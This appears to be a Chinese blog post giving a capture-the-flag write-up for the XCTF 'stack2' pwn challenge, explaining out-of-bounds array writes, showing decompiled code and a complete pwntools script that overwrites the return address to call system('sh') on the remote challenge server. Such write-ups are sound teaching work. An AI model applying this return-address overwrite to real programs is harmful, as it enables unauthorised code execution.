数组越界

昨天在攻防世界刷题的时候,无意之间找到一道题,不算难,就是一道很基础的栈溢出的题目,不过这个栈溢出的方式在我之前做的题里边还没怎么遇见,今天把他全部整出来了,故写这篇博客记录一下这方法和这道题的wp

放一下题目的连接攻防世界 (xctf.org.cn),是这里面pwn的stack2题目

image-20240330110056677

知识点

在这道题中用到的栈溢出的方法便是这篇博客的题目,数组越界

我们知道在C语言之中有一种叫数组的东西,就像int a[9]=0,这样的(字母[数字])便叫数组,数组一般在定义的时候变会在栈上规划好一片空间,用于专门放数组内的数,一般来说,我们如果在调用数组的时候要对数组中的数进行我们需要的定义时,会可能使用如下的定义方式

1
2
3
4
5
6
int i=0
int b=0
int a[10]=0
scanf("%d",$i)
scanf("%d",$b)
a[i]=b

即对于数组的第几位和大小都由自己进行定义,这样的定义虽然很方便,但有一个巨大的问题在于在我们一开始的时候便对数组已经下好了定义,而程序在下定义时便已经将栈上的空间分配好了,而我们定义的数组也是只有固定的大小,就像在上面的代码中我们定义的数组是int a[10]=0,那么便只有a[0]到a[9]的长度是在栈上用于存放这个数组的长度的,其他的栈空间,都有属于他们自己的命令与作用,

但是,如果在程序中使用了如上的自定义数组的方式,由于C语言对我们有很大的信任,这样的定于在编译时是不会报错的,但如果我们在定义第几个数组i的这里超过了本来定义好的数组的长度,程序中没有对这个进行长度检查的方式,于是程序会直接就按你发送的长度在栈上找到相应的地方将你之后输入的内容存放进去。

于此,数组越界的利用方式便出来了,当我们可以对数组的第几个数进行自定义时,程序并不会检查是否超过数组的长度,而是依然在栈上寻找输入的相应的地址将要存放的内容存放进去,但是我们知道在数组定义之初,栈上的空间便是以经分配好的了,出了数组相应的空间,栈上的其他空间都存放有相应的数据与命令,而数组越界让我们有了将栈上其他空间的数据改变的能力。

当数组越界发生时,只要我们知道发生越界的这个数组开头与我们需要改变的栈上的数据的地址的距离,便可以在一开始输入数组个数时将距离输入,程序变回自动将这个距离指向的地址找到,然后我们在输入要存放数据,程序变会将会那个地址里存放的内容改为我们输入的数据,但是栈上存放的很大一部分是我们在后面需要执行的数据,特别像ret等命令执行完成之后,esp寄存器所指向的便是程序要执行的命令所存放的地址如下,程序在执行ret命令之前变回将下一步的命令的地址放在esp寄存器中

image-20240330142352990

因此,只要我们在知道程序中数组的开头地址,与在执行完这一段包含数组的命令的最后ret命令时,esp寄存器的值,算出差值,在程序执行的过程中将差值输入其中并将其内容改为需要执行的数值,便完成对程序执行的控制,达成栈溢出的目的。
以上便是关于栈溢出中数组越界的基本知识点与利用,如果你看了还是不太明白,你可以选择在网上看看其他大佬写的,以上只是我个人的理解与想法,或许有不对的欢迎指出。

接下来便以一道题来做解。

stack2的wp

来吧,来看看这道关于数组越界的题怎么样,老规矩先checksec一下

image-20240407215101037

还好pie没开,放到ida里看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h] BYREF
unsigned int v6; // [esp+1Ch] [ebp-8Ch] BYREF
int v7; // [esp+20h] [ebp-88h] BYREF
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int m; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( m = 0; m < j; ++m )
v9 += v13[m];
}
return 0;
}

这道题的主函数在这里,但同时这道题是有后门函数存在的,

image-20240407215605571

便不再需要自己去构造后门函数,还算方便,只要能将函数的执行劫持到这个后门函数的这里便能得到shell。这里仔细看会发现有一个问题,system函数执行的内容是/bin/bash而不是/bin/sh,如果这直接跳转到这里其实是不能拿到shell的,这里看了网上的说法,好像是因为这个题的出题人整错了,才出现的这个问题, 不过也能做,就是将程序的执行过程进行构造,将sh直接传入system函数中也能像执行system(/bin/sh)一样拿到shell。并且这个程序是32位的程序,不用使用寄存器进行传值,直接传就行,

1
paylaod=b'A'*垃圾值+p32(system函数地址)+p32(sh的地址)

最开始做的时候便是将这个忘了,整成先是sh后是system,这里说明一下。

这道题的大致思路就是,在一开始时先输入我们要输入的数的个数,然后便开始依此输入我们要输的数,只后便会出现5个选项,1是将我们输入的数打印在屏幕上,2是增加一个新的数,4是直接将我们输入的数据的和打印在屏幕上,5是结束程序,还有一个3便是我们的漏洞所在。

这里如果进入3的选项,用于改变之前输入的数据,首先让我们输入我们要改变的数据的位置,既我们要改变的数据在之前输入的数据中排第几,然后便让我们输入改变后的数据,

这里看起来好像没有什么问题,但仔细看看会发现这里是要我们先输入要改变的数据在之前输入的数据中所排的位置然后在输入要改变的数据,这里有个巨大的问题在于程序并没有对我们输入的位置进行检测,而是完全信任我们输入的位置,因此理论上来说我们可以输入无限大的数据,程序都会为我们找到我们输入的大小在程序中相对最开始我们输入的数据的存放位置的偏移,然后再录入我的新数据。形成上文中的数组越界漏洞。

因此在这里只要我们能找到在最开始我们输入的数据存放的最开始的地方,与之后程序ret要到的地方,计算这两个地方的偏移量,然后以及改变ret后要到的地方的地址为我们要执行的程序的地址,便可以形成shell。

在修改后要执行的程序在前文中已有提及,便是

1
system函数的地址+sh的地址

这两个数据都是很好拿倒的,现在的问题在于寻找最开始输入的数据的存放位置,与我们要改变的数据的位置。

0xffffd03c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#io=process('./pwn1')
io = remote("61.147.171.105",55356)
context.log_level = 'debug'
#gdb.attach(io,'b *0x80487F3')
#pause()

io.sendlineafter('have:\n',b'1')

io.sendlineafter('numbers\n',b'1')


def send(addr,num):
io.sendlineafter("5. exit\n",'3')
io.sendlineafter("which number to change:\n",str(addr))
io.sendlineafter("new number:\n",str(num))

office=0x84

send(office+8,135)
send(office+9,137)
send(office+10,4)
send(office+11,8)

send(office,80)
send(office+1,132)
send(office+2,4)
send(office+3,8)

io.sendlineafter("5. exit\n",'5')

io.interactive()